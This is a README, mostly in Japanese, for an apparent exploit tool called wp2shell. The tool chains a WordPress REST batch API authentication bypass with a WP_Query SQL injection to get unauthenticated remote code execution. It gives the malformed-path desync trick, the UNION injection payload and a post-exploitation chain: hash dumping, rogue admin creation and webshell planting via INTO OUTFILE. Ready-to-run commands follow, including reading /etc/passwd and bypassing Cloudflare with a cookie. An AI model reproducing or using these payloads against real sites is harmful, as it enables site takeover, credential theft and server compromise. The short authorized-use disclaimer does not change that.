認証前RCEの概念実証。WordPress RESTバッチAPIの認証バイパスとWP_Query SQLインジェクションを連鎖させ、ハッシュのダンプ、管理者ユーザーの追加、またはウェブシェルの設置を行う。
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
認可されたペネトレーションテストおよびセキュリティ研究専用。 書面による許可なくシステムに対してこれを実行することは違法です。 作者は悪用に対して一切の責任を負いません。
wp2shell は、独立して報告された2つの脆弱性を連鎖させ、未パッチの WordPress インストールに対して非認証のリモートコード実行を達成する概念実証エクスプロイトです。
| CVE | コンポーネント | クラス | 認証要否 |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | 配列の非同期化 → 認証バイパス | 不要 |
| CVE-2026-60137 | WP_Query | author__not_in を介した SQL インジェクション | 不要(上記によりバイパス) |
最終結果:単一の非認証 POST リクエストから、ボックス上のシェル、不正な管理者アカウント、またはダンプされた認証情報ハッシュが得られます。
影響を受けるバージョン: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 修正済み: WordPress 6.9.5 / 7.0.2(調整された開示と同時にパッチがリリースされました)
WordPress 5.6 では、/wp-json/batch/v1 にバッチ処理エンドポイントが導入されました。これにより、認証された REST クライアントは複数のサブリクエストを単一の HTTP ラウンドトリップにバンドルできます。各サブリクエストは WP_REST_Server::serve_batch_request_v1() によって個別に検証およびディスパッチされます。
serve_batch_request_v1() 内(簡略化):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
2つの配列($responses と $matches)は同期していることが期待されています — サブリクエストごとに1つのエントリ、同じインデックスです。サブリクエスト [0] が wp_parse_url() で失敗すると、$responses にエントリを追加しますが、$matches には追加しません。最初のループの後:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
次にループ2は $matches[0] をディスパッチし、結果を $responses[0] に書き込みます。それは request[1] をディスパッチしていますが、responses の インデックス0 を上書きしています — そして決定的なことに、失敗した request[0] のエラーハンドリングの一部として計算された権限コンテキストを使用しており、ターゲットエンドポイントの権限コンテキストではありません。
実際の影響:認証を必要とする任意のエンドポイント(SQL クエリを実行するエンドポイントを含む)が、認証情報なしで呼び出せるようになります。
"path": "://\x00" # triggers wp_parse_url() → false
文字列 ://\x00 は有効な Python 文字列ですが、PHP の wp_parse_url() ラッパーでは無効な URL です(ヌルバイトによりパースが失敗し、WP_Error ではなく false を返すため、is_wp_error() ガードが無意味になります — $parsed === false のみがそれを捕捉しますが、その時点で配列のアライメントはすでに壊れています)。
WP_Query author__not_in SQL インジェクション投稿用の WordPress REST API(/wp/v2/posts)は、WP_Query の author__not_in 引数に直接マッピングされる author_exclude クエリパラメータを公開しています。WP_Query は、WordPress のほぼすべてのコンテンツクエリで使用されるコアデータベース抽象化です。
WP_Query::parse_query() 内(簡略化):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
その後 WP_Query::get_posts() 内:
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
サニタイズは $author__not_in が配列である場合にのみ発火します。PHP の型システムは、値がどのように到達したかに基づいてこれを判断します:
[1, 2, 3] を受け取る → is_array() = true → サニタイズされる"1,2,3"(文字列)を受け取る → is_array() = false → サニタイズされないREST エンドポイントは URL クエリ文字列から author_exclude を受け入れます。それは文字列として到達します。WP_Query はサニタイズブロックをスキップし、生の値が SQL の WHERE 句に補間されます。
インジェクションポイントは NOT IN (...) コンテキスト内に位置します:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
バッチエンドポイントはサブリクエストをより大きなクエリ結果の一部としてディスパッチするため、UNION の行は REST JSON レスポンスボディに返され、これにより Boolean/UNION ブラインドフリー の抽出が可能になります — タイミングもアウトオブバンドも不要です。
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
依存関係をインストール:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| モード | 動作 |
|---|---|
detect | WP バージョンをフィンガープリントし、バッチエンドポイントが存在するか確認します。悪用は行いません。 |
dump | UNION SQLi を介して管理者のパスワードハッシュを抽出します。 |
adduser | スタック INSERT クエリを介して新しい管理者アカウントを作成します。 |
shell | SELECT INTO OUTFILE を介して PHP ウェブシェルを設置し、その後対話型シェルに移行します。 |
検出のみ — スコーピング中に安全に実行できます:
python3 wp2shell.py https://target.com --mode detect
管理者ハッシュをダンプ:
python3 wp2shell.py https://target.com --mode dump
デバッグ出力付きでダンプ(生の HTTP レスポンスを表示 — WAF が関与している場合に便利):
python3 wp2shell.py https://target.com --mode dump --debug
不正な管理者アカウントを作成:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
シェルを設置し、対話型プロンプトに移行:
python3 wp2shell.py https://target.com --mode shell
ワンショットコマンド実行(非対話型):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Burp プロキシ経由:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
既存の cf_clearance Cookie で Cloudflare をバイパス:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
非デフォルトのテーブルプレフィックス:
python3 wp2shell.py https://target.com --mode dump --prefix staging_